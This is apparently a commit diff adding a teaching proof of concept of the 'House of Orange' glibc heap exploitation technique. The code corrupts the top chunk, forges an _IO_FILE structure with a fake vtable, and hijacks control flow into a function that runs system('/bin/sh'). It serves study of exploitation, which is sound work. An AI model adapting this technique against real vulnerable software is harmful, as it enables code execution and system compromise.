finish 3.3.7

src/Others/3.3.5_heap_exploit/house_of_orange.c

@@ -0,0 +1,40 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int winner (char *ptr);
+
+int main() {
+    char *p1, *p2;
+    size_t io_list_all, *top;
+
+    p1 = malloc(0x400 - 0x10);
+
+    top = (size_t *) ((char *) p1 + 0x400 - 0x10);
+    top[1] = 0xc01;
+
+    p2 = malloc(0x1000);
+    io_list_all = top[2] + 0x9a8;
+    top[3] = io_list_all - 0x10;
+
+    memcpy((char *) top, "/bin/sh\x00", 8);
+
+    top[1] = 0x61;
+
+    _IO_FILE *fp = (_IO_FILE *) top;
+    fp->_mode = 0; // top+0xc0
+    fp->_IO_write_base = (char *) 2; // top+0x20
+    fp->_IO_write_ptr = (char *) 3; // top+0x28
+
+    size_t *jump_table = &top[12]; // controlled memory
+    jump_table[3] = (size_t) &winner;
+    *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
+
+    malloc(1);
+    return 0;
+}
+
+int winner(char *ptr) {
+    system(ptr);
+    return 0;
+}